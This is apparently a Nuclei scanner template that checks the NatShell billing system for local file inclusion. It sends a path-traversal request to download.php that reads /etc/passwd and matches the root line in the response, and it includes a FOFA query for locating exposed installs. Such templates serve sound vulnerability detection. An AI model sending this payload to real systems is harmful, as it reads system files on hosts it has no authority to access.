id: natshell-path-traversal

info:
  name: NatShell - Local File Inclusion
  author: pikpikcu
  severity: high
  description: NatShell is vulnerable to local file inclusion.
  reference:
    - https://mp.weixin.qq.com/s/g4YNI6UBqIQcKL0TRkKWlw
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  metadata:
    max-request: 1
    fofa-query: title="蓝海卓越计费管理系统"
  tags: natshell,lfi

http:
  - method: GET
    path:
      - "{{BaseURL}}/download.php?file=../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "toor:[x*]:0:0"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502202011218f11d0004335905d0eba842c4f8a99eb20edb01531ce620770b0d37297022100b5ecb917ccfae5fd81c3d7a70ce01a691908ac8c5309df171f14d1e354c21d04:922c64590222798bb761d5b6d8e72950